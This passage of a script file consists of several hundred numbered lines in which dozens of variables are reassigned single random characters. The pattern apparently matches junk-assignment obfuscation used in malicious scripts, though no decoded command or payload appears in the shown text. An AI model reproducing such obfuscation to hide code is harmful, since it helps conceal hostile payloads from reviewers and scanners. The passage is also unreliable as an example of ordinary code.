152	ghxbavgoq = "j";
153	ghxbavgoq = "Q";
154	ghxbavgoq = "j";
155	ghxbavgoq = "T";
156	ghxbavgoq = "r";
157	ghxbavgoq = "s";
158	ghxbavgoq = "n";
159	ghxbavgoq = "o";
160	ghxbavgoq = "k";
161	ghxbavgoq = "o";
162	ghxbavgoq = "R";
163	ghxbavgoq = "U";
164	ghxbavgoq = "s";
165	ghxbavgoq = "o";
166	ghxbavgoq = "v";
167	ghxbavgoq = "M";
168	ghxbavgoq = "z";
169	ghxbavgoq = "o";
170	ghxbavgoq = "q";
171	ghxbavgoq = "J";
172	ghxbavgoq = "h";
173	ghxbavgoq = "y";
174	ghxbavgoq = "W";
175	ghxbavgoq = "L";
176	ghxbavgoq = "A";
177	ghxbavgoq = "z";
178	ghxbavgoq = "c";
179	ghxbavgoq = "K";
180	ghxbavgoq = "B";
181	ghxbavgoq = "o";
182	ghxbavgoq = ".";
183	qabdw = "D";
184	qabdw = "s";
185	qabdw = "T";
186	qabdw = "x";
187	qabdw = "S";
188	qabdw = "T";
189	qabdw = "w";
190	qabdw = "J";
191	qabdw = "w";
192	qabdw = "L";
193	qabdw = "y";
194	qabdw = "k";
195	qabdw = "C";
196	qabdw = "i";
197	qabdw = "R";
198	qabdw = "X";
199	qabdw = "V";
200	qabdw = "x";
201	qabdw = "X";
202	qabdw = "I";
203	qabdw = "l";
204	qabdw = "K";
205	qabdw = "m";
206	qabdw = "L";
207	qabdw = "s";
208	qabdw = "K";
209	qabdw = "q";
210	qabdw = "z";
211	qabdw = "D";
212	qabdw = "X";
213	qabdw = "t";
214	qabdw = "\"";
215	mxxxv = "h";
216	mxxxv = "R";
217	mxxxv = "P";
218	mxxxv = "3";
219	emgfwxi = "R";
220	emgfwxi = "D";
221	emgfwxi = "Y";
222	emgfwxi = "j";
223	emgfwxi = "T";
224	emgfwxi = "B";
225	emgfwxi = "g";
226	nituith = "h";
227	nituith = "w";
228	nituith = "n";
229	nituith = "f";
230	nituith = "l";
231	nituith = "i";
232	nituith = "B";
233	nituith = "H";
234	nituith = "X";
235	nituith = "e";
236	nituith = "X";
237	nituith = "d";
238	nituith = "U";
239	nituith = "B";
240	nituith = "E";
241	nituith = "D";
242	nituith = "S";
243	nituith = "h";
244	nituith = "k";
245	nituith = "y";
246	nituith = "-";
247	owjlvze = "Z";
248	owjlvze = "T";
249	owjlvze = "U";
250	owjlvze = "s";
251	owjlvze = "G";
252	owjlvze = "E";
253	owjlvze = "J";
254	owjlvze = "h";
255	owjlvze = "U";
256	owjlvze = "Z";
257	owjlvze = "s";
258	owjlvze = "j";
259	owjlvze = "D";
260	owjlvze = "R";
261	owjlvze = "m";
262	owjlvze = "G";
263	owjlvze = "g";
264	owjlvze = "D";
265	owjlvze = "w";
266	owjlvze = "R";
267	owjlvze = "v";
268	owjlvze = "D";
269	owjlvze = "L";
270	owjlvze = "i";
271	owjlvze = "N";
272	owjlvze = "F";
273	owjlvze = "j";
274	owjlvze = "A";
275	owjlvze = "W";
276	zzomf = "d";
277	zzomf = "P";
278	zzomf = "U";
279	zzomf = "o";
280	zzomf = "Q";
281	zzomf = "H";
282	uwexh = "o";
283	uwexh = "M";
284	uwexh = "b";
285	uwexh = "M";
286	uwexh = "F";
287	uwexh = "z";
288	uwexh = "O";
289	uwexh = "N";
290	uwexh = "L";
291	uwexh = "K";
292	uwexh = "d";
293	uwexh = "w";
294	uwexh = "Y";
295	uwexh = "r";
296	uwexh = "A";
297	uwexh = "l";
298	uwexh = "B";
299	uwexh = "l";
300	uwexh = "a";
301	uwexh = "v";
302	cfbadyxxs = "Y";
303	cfbadyxxs = "x";
304	cfbadyxxs = "D";
305	cfbadyxxs = "J";
306	cfbadyxxs = "V";
307	cfbadyxxs = "i";
308	cfbadyxxs = "b";
309	cfbadyxxs = "q";
310	cfbadyxxs = "d";
311	cfbadyxxs = "p";
312	cfbadyxxs = "r";
313	cfbadyxxs = "P";
314	cfbadyxxs = "i";
315	cfbadyxxs = "n";
316	cfbadyxxs = "z";
317	cfbadyxxs = "k";
318	cfbadyxxs = "X";
319	cfbadyxxs = "Y";
320	ucoxohdc = "R";
321	ucoxohdc = "Z";
322	ucoxohdc = "Y";
323	ucoxohdc = "6";
324	hvvvmlkp = "R";
325	hvvvmlkp = "B";
326	hvvvmlkp = "K";
327	hvvvmlkp = "t";
328	hvvvmlkp = "y";
329	hvvvmlkp = "C";
330	hvvvmlkp = "n";
331	hvvvmlkp = "p";
332	hvvvmlkp = "Y";
333	hvvvmlkp = "l";
334	hvvvmlkp = "j";
335	hvvvmlkp = "k";
336	hvvvmlkp = "D";
337	hvvvmlkp = "k";
338	hvvvmlkp = "a";
339	hvvvmlkp = "D";
340	hvvvmlkp = "n";
341	hvvvmlkp = "L";
342	hvvvmlkp = "7";
343	uorgj = "o";
344	uorgj = "o";
345	nduote = "S";
346	nduote = "O";
347	nduote = "g";
348	nduote = "X";
349	nduote = "k";
350	nduote = "G";
351	nduote = "g";
352	nduote = "q";
353	nduote = "O";
354	nduote = "e";
355	nduote = "J";
356	nduote = "e";
357	nduote = "F";
358	nduote = "E";
359	nduote = "G";
360	nduote = "C";
361	nduote = "O";
362	nduote = "K";
363	nduote = "t";
364	nduote = "g";
365	nduote = "k";
366	nduote = "f";
367	nduote = "G";
368	nduote = "Z";
369	nduote = "p";
370	nduote = "M";
371	nduote = "g";
372	nduote = "v";
373	nduote = "O";
374	nduote = "S";
375	nduote = "c";
376	nduote = "n";
377	nduote = "M";
378	nduote = "g";
379	nduote = "o";
380	nduote = "C";
381	nduote = "Y";
382	nduote = "j";
383	nduote = "F";
384	nduote = "j";
385	nduote = "a";
386	nduote = "m";
387	nduote = "K";
388	tkktno = "k";
389	tkktno = "o";
390	tkktno = "D";
391	tkktno = "N";
392	tkktno = "a";
393	tkktno = "x";
394	tkktno = "q";
395	tkktno = "T";
396	tkktno = "T";
397	tkktno = "O";
398	tkktno = "R";
399	tkktno = "y";
400	tkktno = "k";
401	tkktno = "t";
402	tkktno = "i";
403	tkktno = "e";
404	tkktno = "o";
405	tkktno = "P";
406	tkktno = "y";
407	tkktno = "T";
408	tkktno = "I";
409	tkktno = "S";
410	tkktno = "u";
411	tkktno = "w";
412	tkktno = "K";
413	tkktno = "k";
414	tkktno = "m";
415	tkktno = "M";
416	tkktno = "P";
417	tkktno = "L";
418	tkktno = "y";
419	tkktno = "F";
420	tkktno = "m";
421	tkktno = "u";
422	tkktno = "e";
423	tkktno = "s";
424	tkktno = "W";
425	tkktno = "U";
426	tkktno = "c";
427	tkktno = "h";
428	blvbwt = "C";
429	blvbwt = "x";
430	blvbwt = "Z";
431	blvbwt = "j";
432	blvbwt = "h";
433	blvbwt = "W";
434	blvbwt = "V";
435	blvbwt = "y";
436	blvbwt = "u";
437	blvbwt = "W";
438	blvbwt = "q";
439	blvbwt = "K";
440	blvbwt = "w";
441	blvbwt = "V";
442	blvbwt = "C";
443	blvbwt = "p";
444	blvbwt = "m";
445	blvbwt = "e";
446	blvbwt = "T";
447	blvbwt = "P";
448	blvbwt = "z";
449	blvbwt = "H";
450	blvbwt = "y";
451	blvbwt = "k";
452	blvbwt = "y";
453	blvbwt = "F";
454	blvbwt = "K";
455	blvbwt = "D";
456	blvbwt = "P";
457	blvbwt = "T";
458	blvbwt = "L";
459	blvbwt = "F";
460	blvbwt = "X";
461	blvbwt = "R";
462	blvbwt = "D";
463	blvbwt = "T";
464	blvbwt = "D";
465	blvbwt = "f";
466	xcwpnx = "M";
467	xcwpnx = "C";
468	xcwpnx = "C";
469	xcwpnx = "q";
470	xcwpnx = "l";
471	xcwpnx = "T";
472	xcwpnx = "z";
473	xcwpnx = "O";
474	xcwpnx = "C";
475	xcwpnx = "i";
476	xcwpnx = "c";
477	xcwpnx = "Q";
478	xcwpnx = "D";
479	xcwpnx = "L";
480	xcwpnx = "M";
481	xcwpnx = "R";
482	xcwpnx = "X";
483	xcwpnx = "O";
484	xcwpnx = "S";
485	xcwpnx = "H";
486	xcwpnx = "j";
487	xcwpnx = "S";
488	xcwpnx = "T";
489	xcwpnx = "p";
490	xcwpnx = "u";
491	xcwpnx = "o";
492	xcwpnx = "I";
493	xcwpnx = "S";
494	xcwpnx = "g";
495	xcwpnx = "R";
496	xcwpnx = "Q";
497	xcwpnx = "o";
498	xcwpnx = "G";
499	xcwpnx = "n";
500	xcwpnx = "w";
501	xcwpnx = "Y";
502	xcwpnx = "e";
503	xcwpnx = "K";
504	xcwpnx = "w";
505	uqswzedv = "c";
506	uqswzedv = "v";
507	uqswzedv = "i";
508	uqswzedv = "p";
509	uqswzedv = "w";
510	uqswzedv = "u";
511	uqswzedv = "D";
512	uqswzedv = "H";
513	uqswzedv = "p";
514	uqswzedv = "V";
515	uqswzedv = "T";
516	uqswzedv = "S";
517	uqswzedv = "L";
518	uqswzedv = "k";
519	uqswzedv = "z";
520	uqswzedv = "l";
521	uqswzedv = "U";
522	uqswzedv = "q";
523	uqswzedv = "A";
524	uqswzedv = "K";
525	uqswzedv = "g";
526	uqswzedv = "k";
527	uqswzedv = "r";
528	uqswzedv = "M";
529	uqswzedv = "S";
530	uqswzedv = "J";
531	uqswzedv = "g";
532	uqswzedv = "2";
533	tjcfwly = "C";
534	tjcfwly = "W";
535	tjcfwly = "t";
536	tjcfwly = "B";
537	tjcfwly = "r";
538	tjcfwly = "s";
539	tjcfwly = "v";
540	tjcfwly = "q";
541	tjcfwly = "S";
542	tjcfwly = "v";
543	tjcfwly = "T";
544	tjcfwly = "f";
545	tjcfwly = "M";
546	tjcfwly = "w";
547	tjcfwly = "m";
548	qxdgkjes = "D";
549	qxdgkjes = "M";
550	qxdgkjes = "R";
551	qxdgkjes = "m";
552	qxdgkjes = "R";
553	qxdgkjes = "L";
554	qxdgkjes = "l";
555	qxdgkjes = "d";
556	qxdgkjes = "i";
557	qxdgkjes = "j";
558	qxdgkjes = "O";
559	qxdgkjes = "e";
560	qxdgkjes = "h";
561	qxdgkjes = "Y";
562	qxdgkjes = "Z";
563	qxdgkjes = "c";
564	qxdgkjes = "q";
565	qxdgkjes = "J";
566	qxdgkjes = "P";
567	qxdgkjes = "M";
568	qxdgkjes = "o";
569	qxdgkjes = "i";
570	qxdgkjes = "d";
571	qxdgkjes = "P";
572	qxdgkjes = "o";
573	qxdgkjes = "f";
574	qxdgkjes = "k";
575	qxdgkjes = "z";
576	qxdgkjes = "a";
577	qxdgkjes = "u";
578	qxdgkjes = "u";
579	qxdgkjes = "W";
580	qxdgkjes = "O";
581	qxdgkjes = "j";
582	qxdgkjes = "T";
583	qxdgkjes = "s";
584	qxdgkjes = "E";
585	qxdgkjes = "V";
586	qxdgkjes = "R";
587	mhxzcgwul = "h";
588	mhxzcgwul = "M";
589	mhxzcgwul = "x";
590	mhxzcgwul = "l";
591	mhxzcgwul = "y";
592	mhxzcgwul = "D";
593	mhxzcgwul = "h";
594	mhxzcgwul = "l";
595	mhxzcgwul = "G";
596	mhxzcgwul = "e";
597	mhxzcgwul = "z";
598	mhxzcgwul = "Y";
599	mhxzcgwul = "x";
600	mhxzcgwul = "f";
601	mhxzcgwul = "N";
602	mhxzcgwul = "I";
603	mhxzcgwul = "c";
604	mhxzcgwul = "a";
605	mhxzcgwul = "C";
606	mhxzcgwul = "E";
607	mhxzcgwul = "v";
608	mhxzcgwul = "u";
609	mhxzcgwul = "T";
610	mhxzcgwul = "O";
611	mhxzcgwul = "v";
612	mhxzcgwul = "E";
613	mhxzcgwul = "r";
614	mhxzcgwul = "B";
615	mhxzcgwul = "D";
616	mhxzcgwul = "X";
617	mhxzcgwul = "P";
618	mhxzcgwul = "j";
619	mhxzcgwul = "y";
620	mhxzcgwul = "F";
621	mhxzcgwul = "@";
622	boxhj = "N";
623	boxhj = "J";
624	boxhj = "V";
625	boxhj = "s";
626	boxhj = "H";
627	boxhj = "L";
628	boxhj = "c";
629	boxhj = "W";
630	boxhj = "h";
631	boxhj = "G";
632	boxhj = "e";
633	boxhj = "O";
634	boxhj = "s";
635	boxhj = "p";
636	boxhj = "W";
637	boxhj = "o";
638	boxhj = "v";
639	boxhj = "t";
640	boxhj = "w";
641	boxhj = "g";
642	boxhj = "k";
643	boxhj = "k";
644	boxhj = "v";
645	boxhj = "S";
646	boxhj = "K";
647	boxhj = "A";
648	boxhj = "z";
649	boxhj = "P";
650	boxhj = "Y";
651	boxhj = "H";
652	boxhj = "G";
653	boxhj = "K";
654	boxhj = "u";
655	boxhj = "O";
656	boxhj = "M";
657	boxhj = "G";
658	boxhj = "C";
659	dmdce = "p";
660	dmdce = "x";
661	dmdce = "d";
662	dmdce = "v";
663	dmdce = "S";
664	dmdce = "a";
665	dmdce = "C";
666	dmdce = "o";
667	dmdce = "X";
668	dmdce = "D";
669	dmdce = "D";
670	dmdce = "L";
671	dmdce = "Z";
672	dmdce = "F";
673	dmdce = "u";
674	dmdce = "a";
675	dmdce = "u";
676	dmdce = "j";
677	dmdce = "D";
678	dmdce = "d";
679	smqgzxmq = "F";
680	smqgzxmq = "g";
681	smqgzxmq = "M";
682	smqgzxmq = "m";
683	smqgzxmq = "D";
684	smqgzxmq = "u";
685	smqgzxmq = "P";
686	smqgzxmq = "w";
687	smqgzxmq = "k";
688	smqgzxmq = "X";
689	smqgzxmq = "r";
690	smqgzxmq = "j";
691	smqgzxmq = "W";
692	smqgzxmq = "m";
693	smqgzxmq = "I";
694	smqgzxmq = "p";
695	smqgzxmq = "j";
696	smqgzxmq = "k";
697	smqgzxmq = "q";
698	smqgzxmq = "p";
699	smqgzxmq = "K";
700	smqgzxmq = "P";
701	smqgzxmq = "C";
702	smqgzxmq = "O";
703	smqgzxmq = "o";
704	smqgzxmq = "v";
705	smqgzxmq = "s";
706	smqgzxmq = "a";
707	smqgzxmq = "S";
708	smqgzxmq = "K";
709	smqgzxmq = "e";
710	smqgzxmq = "r";
711	smqgzxmq = "P";
712	smqgzxmq = "I";
713	zxqewqyeg = "K";
714	zxqewqyeg = "d";
715	zxqewqyeg = "a";
716	zxqewqyeg = "w";
717	zxqewqyeg = "z";
718	zxqewqyeg = "V";
719	zxqewqyeg = "z";
720	zxqewqyeg = "c";
721	zxqewqyeg = "b";
722	zxqewqyeg = "S";
723	zxqewqyeg = "t";
724	btvylgqug = "R";
725	btvylgqug = "O";
726	btvylgqug = "j";
727	btvylgqug = "n";
728	btvylgqug = "j";
729	btvylgqug = "F";
730	btvylgqug = "s";
731	btvylgqug = "/";
732	jwjsqkd = "s";
733	jwjsqkd = "K";
734	jwjsqkd = "y";
735	jwjsqkd = "K";
736	jwjsqkd = "R";
737	jwjsqkd = "h";
738	jwjsqkd = "E";
739	jwjsqkd = "T";
740	jwjsqkd = "z";
741	jwjsqkd = "p";
742	jwjsqkd = "h";
743	jwjsqkd = "z";
744	jwjsqkd = "C";
745	jwjsqkd = "G";
746	jwjsqkd = "x";
747	jwjsqkd = "E";
748	jwjsqkd = "h";
749	jwjsqkd = "Y";
750	jwjsqkd = "M";
751	jwjsqkd = "j";
752	jwjsqkd = "i";
753	jwjsqkd = "d";
754	jwjsqkd = "C";
755	jwjsqkd = "u";
756	jwjsqkd = "l";
757	jwjsqkd = "P";
758	hsylxweb = "O";
759	hsylxweb = "T";
760	hsylxweb = "Q";
761	hsylxweb = "R";
762	hsylxweb = "n";
763	hsylxweb = "F";
764	hsylxweb = "j";
765	hsylxweb = "b";
766	hsylxweb = "Z";
767	hsylxweb = "h";
768	hsylxweb = "k";
769	hsylxweb = "r";
770	hsylxweb = "r";
771	hsylxweb = "D";
772	hsylxweb = "K";
773	hsylxweb = "d";
774	hsylxweb = "z";
775	hsylxweb = "g";
776	hsylxweb = "N";
777	hsylxweb = "X";
778	hsylxweb = "i";
779	hsylxweb = "D";
780	hsylxweb = "b";
781	hsylxweb = "k";
782	hsylxweb = "t";
783	hsylxweb = "v";
784	hsylxweb = "C";
785	hsylxweb = "L";
786	hsylxweb = "P";
787	hsylxweb = "O";
788	hsylxweb = "K";
789	hsylxweb = "Y";
790	hsylxweb = "Z";
791	hsylxweb = "U";
792	hsylxweb = "d";
793	hsylxweb = "i";
794	dmipamxve = "C";
795	dmipamxve = "Z";
796	dmipamxve = "J";
797	dmipamxve = "B";
798	dmipamxve = "K";
799	dmipamxve = "t";
800	dmipamxve = "I";
801	dmipamxve = "B";
802	dmipamxve = "j";
803	dmipamxve = "V";
804	dmipamxve = "l";
805	dmipamxve = "f";
806	dmipamxve = "M";
807	dmipamxve = "L";
808	dmipamxve = "F";
809	dmipamxve = "v";
810	dmipamxve = "Y";
811	dmipamxve = "p";
812	dmipamxve = "A";
813	dmipamxve = "i";
814	dmipamxve = "C";
815	dmipamxve = "g";
816	dmipamxve = "f";
817	dmipamxve = "w";
818	dmipamxve = "y";
819	dmipamxve = "K";
820	dmipamxve = "i";
821	dmipamxve = "E";
822	dmipamxve = "G";
823	dmipamxve = "K";
824	dmipamxve = "%";
825	adhiney = "c";
826	adhiney = "M";
827	adhiney = "F";
828	djiwdb = "w";
829	djiwdb = "U";
830	djiwdb = "l";
831	yeqays = "v";
832	yeqays = "c";
833	yeqays = "J";
834	yeqays = "f";
835	yeqays = "J";
836	yeqays = "v";
837	yeqays = "V";
838	yeqays = "Z";
839	yeqays = "h";
840	yeqays = "B";
841	yeqays = "c";
842	yeqays = "r";
843	yeqays = "o";
844	yeqays = "k";
845	yeqays = "E";
846	yeqays = "y";
847	yeqays = "h";
848	yeqays = "E";
849	yeqays = "W";
850	yeqays = "k";
851	oskujq = "T";
852	oskujq = "S";
853	oskujq = "v";
854	oskujq = "Z";
855	oskujq = "l";
856	oskujq = "n";
857	oskujq = "y";
858	oskujq = "X";
859	oskujq = "t";
860	oskujq = "z";
861	oskujq = "S";
862	oskujq = "q";
863	oskujq = "z";
864	oskujq = "B";
865	oskujq = "X";
866	oskujq = "N";
867	oskujq = "C";
868	oskujq = "d";
869	oskujq = "O";
870	oskujq = "m";
871	oskujq = "f";
872	oskujq = "t";
873	oskujq = "g";
874	oskujq = "n";
875	oskujq = " ";
876	geikguis = "r";
877	geikguis = "Q";
878	geikguis = "u";
879	geikguis = "b";
880	geikguis = "D";
881	geikguis = "k";
882	geikguis = "N";
883	geikguis = "V";
884	geikguis = "w";
885	geikguis = "K";
886	geikguis = "Q";
887	geikguis = "A";
888	geikguis = "u";
889	tpopzd = "N";
890	tpopzd = "Z";
891	tpopzd = "S";
892	tpopzd = "z";
893	tpopzd = "g";
894	tpopzd = "E";
895	tpopzd = "I";
896	tpopzd = "s";
897	tpopzd = "W";
898	tpopzd = "K";
899	tpopzd = "n";
900	tpopzd = "K";
901	tpopzd = "s";
902	tpopzd = "K";
903	tpopzd = "X";
904	tpopzd = "V";
905	tpopzd = "K";
906	tpopzd = "t";
907	tpopzd = "Q";
908	tpopzd = "M";
909	tpopzd = "C";
910	tpopzd = "x";
911	tpopzd = "O";
912	tpopzd = "f";
913	tpopzd = "V";
914	tpopzd = "p";
915	tpopzd = "W";
916	tpopzd = "l";
917	tpopzd = "U";
918	tpopzd = "L";
919	tpopzd = "e";
920	tpopzd = "T";
921	tpopzd = "M";
922	tpopzd = "x";
923	tpopzd = "V";
924	tpopzd = "s";
925	tpopzd = "j";
926	tpopzd = "U";
927	tpopzd = "m";
928	tpopzd = "d";
929	tpopzd = "d";
930	tpopzd = "B";
931	tpopzd = "n";
932	tpopzd = "J";
933	tpopzd = "c";
934	aiwctil = "e";
935	aiwctil = "p";
936	aiwctil = "c";
937	aiwctil = "F";
938	aiwctil = "b";
939	aiwctil = "E";
940	aiwctil = "J";
941	aiwctil = "y";
942	aiwctil = "x";
943	aiwctil = "p";
944	tfszehy = "E";
945	tfszehy = "C";
946	tfszehy = "t";
947	tfszehy = "W";
948	tfszehy = "S";
949	tfszehy = "S";
950	tfszehy = "O";
951	tfszehy = "q";
952	ptenmwe = "U";
953	ptenmwe = "I";
954	ptenmwe = "O";
955	ptenmwe = "r";
956	ptenmwe = "a";
957	ptenmwe = "I";
958	ptenmwe = "p";
959	ptenmwe = "i";
960	ptenmwe = "n";
961	ptenmwe = "M";
962	ptenmwe = "d";
963	ptenmwe = "S";
964	ptenmwe = "Z";
965	ptenmwe = "I";
966	ptenmwe = "f";
967	ptenmwe = "S";
968	ptenmwe = "i";
969	ptenmwe = "s";
970	ptenmwe = "T";
971	ptenmwe = "m";
972	ptenmwe = "J";
973	ptenmwe = "Q";
974	ptenmwe = "D";
975	ptenmwe = "a";
976	ptenmwe = "w";
977	ptenmwe = "J";
978	ptenmwe = "d";
979	ptenmwe = "j";
980	ptenmwe = "_";
981	covpb = "p";
982	covpb = "i";
983	covpb = "e";
984	covpb = "D";
985	covpb = "f";
986	covpb = "c";
987	covpb = "h";
988	covpb = "j";
989	covpb = "d";
990	covpb = "G";
991	covpb = "z";
992	covpb = "G";
993	covpb = "n";
994	covpb = "e";
995	covpb = "y";
996	covpb = "N";
997	covpb = "d";
998	covpb = "g";
999	covpb = "z";
1000	covpb = "E";
1001	covpb = "c";
1002	covpb = "n";
1003	covpb = "c";
1004	covpb = "z";
1005	covpb = "v";
1006	covpb = "L";
1007	covpb = "n";
1008	covpb = "V";
1009	covpb = "T";
1010	covpb = "y";
1011	covpb = "E";
1012	covpb = "D";
1013	covpb = "A";
1014	covpb = "g";
1015	covpb = "h";
1016	covpb = "D";
1017	covpb = "e";
1018	covpb = "j";
1019	covpb = "8";
1020	llfhkz = "V";
1021	llfhkz = "S";
1022	spplbew = "b";
1023	spplbew = "Y";
1024	spplbew = "a";
1025	spplbew = "T";
1026	spplbew = "y";
1027	spplbew = "E";
1028	spplbew = "p";
1029	spplbew = "f";
1030	spplbew = "I";
1031	spplbew = "p";
1032	spplbew = "N";
1033	spplbew = "4";
1034	xvphkcdk = "h";
1035	xvphkcdk = "G";
1036	xvphkcdk = "i";
1037	xvphkcdk = "X";
1038	xvphkcdk = "C";
1039	xvphkcdk = "b";
1040	xvphkcdk = "M";
1041	xvphkcdk = "k";
1042	xvphkcdk = "m";
1043	xvphkcdk = "G";
1044	xvphkcdk = "Y";
1045	xvphkcdk = "A";
1046	xvphkcdk = "N";
1047	xvphkcdk = "R";
1048	xvphkcdk = "e";
1049	xvphkcdk = "E";
1050	xvphkcdk = "B";
1051	xvphkcdk = "x";
1052	xvphkcdk = "W";
1053	xvphkcdk = "P";
1054	xvphkcdk = "I";
1055	xvphkcdk = "y";
1056	xvphkcdk = "N";
1057	xvphkcdk = "z";
1058	xvphkcdk = "N";
1059	xvphkcdk = "l";
1060	xvphkcdk = "P";
1061	xvphkcdk = "V";
1062	xvphkcdk = "M";
1063	xvphkcdk = "f";
1064	xvphkcdk = "O";
1065	kzwtbgxav = "C";
1066	kzwtbgxav = "u";
1067	kzwtbgxav = "y";
1068	kzwtbgxav = "p";
1069	kzwtbgxav = "z";
1070	kzwtbgxav = "p";
1071	kzwtbgxav = "c";
1072	kzwtbgxav = "x";
1073	kzwtbgxav = "z";
1074	kzwtbgxav = "z";
1075	kzwtbgxav = "f";
1076	kzwtbgxav = "T";
1077	rbxco = "u";
1078	rbxco = "X";
1079	rbxco = "Z";
1080	rbxco = "K";
1081	rbxco = "d";
1082	rbxco = "C";
1083	rbxco = "w";
1084	rbxco = "I";
1085	rbxco = "x";
1086	rbxco = "R";
1087	rbxco = "Q";
1088	rbxco = "e";
1089	rbxco = "q";
1090	rbxco = "b";
1091	gkfsg = "A";
1092	gkfsg = "L";
1093	gkfsg = "n";
1094	gkfsg = "S";
1095	gkfsg = "r";
1096	gkfsg = "O";
1097	gkfsg = "s";
1098	gkfsg = "z";
1099	gkfsg = "r";
1100	gkfsg = "Q";
1101	gkfsg = "I";
1102	gkfsg = "n";
1103	gkfsg = "X";
1104	gkfsg = "m";
1105	gkfsg = "U";
1106	gkfsg = "R";
1107	gkfsg = "x";
1108	gkfsg = "j";
1109	gkfsg = "n";
1110	gkfsg = "E";
1111	gkfsg = "Y";
1112	gkfsg = "O";
1113	gkfsg = "k";
1114	gkfsg = "z";
1115	gkfsg = "i";
1116	gkfsg = "J";
1117	gkfsg = "X";
1118	gkfsg = "d";
1119	gkfsg = "n";
1120	aqzhvnvnd = "N";
1121	aqzhvnvnd = "Q";
1122	aqzhvnvnd = "a";
1123	aqzhvnvnd = "y";
1124	aqzhvnvnd = "Z";
1125	aqzhvnvnd = "q";
1126	aqzhvnvnd = "E";
1127	aqzhvnvnd = "x";
1128	qbytv = "d";
1129	qbytv = "r";
1130	qbytv = "I";
1131	qbytv = "a";
1132	qbytv = "T";
1133	qbytv = "k";
1134	qbytv = "r";
1135	qbytv = "J";
1136	qbytv = "z";
1137	qbytv = "v";
1138	qbytv = "u";
1139	qbytv = "M";
1140	qbytv = "M";
1141	qbytv = "K";
1142	qbytv = "m";
1143	qbytv = "P";
1144	qbytv = "K";
1145	qbytv = "K";
1146	qbytv = "D";
1147	qbytv = "K";
1148	qbytv = "L";
1149	qbytv = "c";
1150	qbytv = "r";
1151	qbytv = ":";
1152	tonpvit = "Q";
1153	tonpvit = "L";
1154	tonpvit = "I";
1155	tonpvit = "N";
1156	tonpvit = "y";
1157	tonpvit = "w";
1158	tonpvit = "s";
1159	tonpvit = "h";
1160	tonpvit = "O";
1161	tonpvit = "y";
1162	tonpvit = "o";
1163	tonpvit = "l";
1164	tonpvit = "D";
1165	tonpvit = "T";
1166	tonpvit = "e";
1167	gbrnkkk = "u";
1168	gbrnkkk = "P";
1169	gbrnkkk = "I";
1170	gbrnkkk = "H";
1171	gbrnkkk = "h";
1172	gbrnkkk = "J";
1173	gbrnkkk = "o";
1174	gbrnkkk = "A";
1175	gbrnkkk = "s";
1176	gbrnkkk = "H";
1177	gbrnkkk = "L";
1178	gbrnkkk = "M";
1179	gbrnkkk = "G";
1180	gbrnkkk = "p";
1181	gbrnkkk = "j";
1182	gbrnkkk = "t";
1183	gbrnkkk = "g";
1184	gbrnkkk = "q";
1185	gbrnkkk = "U";
1186	gbrnkkk = "Q";
1187	twuptfu = "D";
1188	twuptfu = "j";
1189	twuptfu = "x";
1190	twuptfu = "u";
1191	twuptfu = "G";
1192	twuptfu = "o";
1193	twuptfu = "z";
1194	twuptfu = "X";
1195	twuptfu = "B";
1196	twuptfu = "L";
1197	twuptfu = "J";
1198	twuptfu = "T";
1199	twuptfu = "H";
1200	twuptfu = "R";
1201	twuptfu = "X";
1202	twuptfu = "e";
1203	twuptfu = "B";
1204	twuptfu = "r";
1205	twuptfu = "U";
1206	twuptfu = "I";
1207	twuptfu = "Q";
1208	twuptfu = "P";
1209	twuptfu = "l";
1210	twuptfu = "E";
1211	segvlcqo = "z";
1212	segvlcqo = "l";
1213	segvlcqo = "V";
1214	segvlcqo = "F";
1215	segvlcqo = "R";
1216	segvlcqo = "r";
1217	segvlcqo = "t";
1218	segvlcqo = "c";
1219	segvlcqo = "j";
1220	segvlcqo = "D";
1221	segvlcqo = "J";
1222	segvlcqo = "m";
1223	segvlcqo = "g";
1224	segvlcqo = "9";
1225	rvwknw = "q";
1226	rvwknw = "L";
1227	rvwknw = "h";
1228	rvwknw = "W";
1229	rvwknw = "q";
1230	rvwknw = "N";
1231	rvwknw = "z";
1232	rvwknw = "K";
1233	rvwknw = "W";
1234	rvwknw = "W";
1235	rvwknw = "l";
1236	rvwknw = "a";
1237	rvwknw = "L";
1238	rvwknw = "Q";
1239	rvwknw = "a";
1240	epyuyh = "x";
1241	epyuyh = "Z";
1242	epyuyh = "k";
1243	epyuyh = "w";
1244	epyuyh = "J";
1245	epyuyh = "m";
1246	epyuyh = "O";
1247	epyuyh = "J";
1248	epyuyh = "G";
1249	epyuyh = "U";
1250	epyuyh = "i";
1251	epyuyh = "R";
1252	epyuyh = "Z";
1253	epyuyh = "O";
1254	epyuyh = "a";
1255	epyuyh = "h";
1256	epyuyh = "k";
1257	epyuyh = "b";
1258	epyuyh = "I";
1259	epyuyh = "G";
1260	epyuyh = "R";
1261	epyuyh = "I";
1262	epyuyh = "0";
1263	bwlvq = "L";
1264	bwlvq = "F";
1265	bwlvq = "T";
1266	bwlvq = "t";
1267	bwlvq = "e";
1268	bwlvq = "n";
1269	bwlvq = "o";
1270	bwlvq = "B";
1271	bwlvq = "r";
1272	bwlvq = "L";
1273	bwlvq = "r";
1274	bwlvq = "F";
1275	bwlvq = "5";
1276	grhkhcii = "m";
1277	grhkhcii = "S";
1278	grhkhcii = "e";
1279	grhkhcii = "R";
1280	grhkhcii = "x";
1281	grhkhcii = "F";
1282	grhkhcii = "X";
1283	grhkhcii = "T";
1284	grhkhcii = "X";
1285	grhkhcii = "d";
1286	grhkhcii = "i";
1287	grhkhcii = "I";
1288	grhkhcii = "w";
1289	grhkhcii = "d";
1290	grhkhcii = "p";
1291	grhkhcii = "S";
1292	grhkhcii = "Y";
1293	grhkhcii = "F";
1294	grhkhcii = "L";
1295	grhkhcii = "n";
1296	grhkhcii = "T";
1297	grhkhcii = "K";
1298	grhkhcii = "w";
1299	grhkhcii = "O";
1300	grhkhcii = "h";
1301	grhkhcii = "m";
1302	grhkhcii = "s";
1303	grhkhcii = "P";
1304	grhkhcii = "a";
1305	grhkhcii = "j";
1306	grhkhcii = "\\";
1307	qurbc = "V";
1308	qurbc = "f";
1309	qurbc = "A";
1310	qurbc = "K";
1311	qurbc = "O";
1312	qurbc = "v";
1313	qurbc = "S";
1314	qurbc = "Q";
1315	qurbc = "g";
1316	qurbc = "H";
1317	qurbc = "k";
1318	qurbc = "i";
1319	qurbc = "K";
1320	qurbc = "B";
1321	qurbc = "Z";
1322	qurbc = "s";
1323	qurbc = "q";
1324	qurbc = "E";
1325	qurbc = "V";
1326	qurbc = "s";
1327	qurbc = "v";
1328	qurbc = "s";
1329	qurbc = "O";
1330	qurbc = "t";
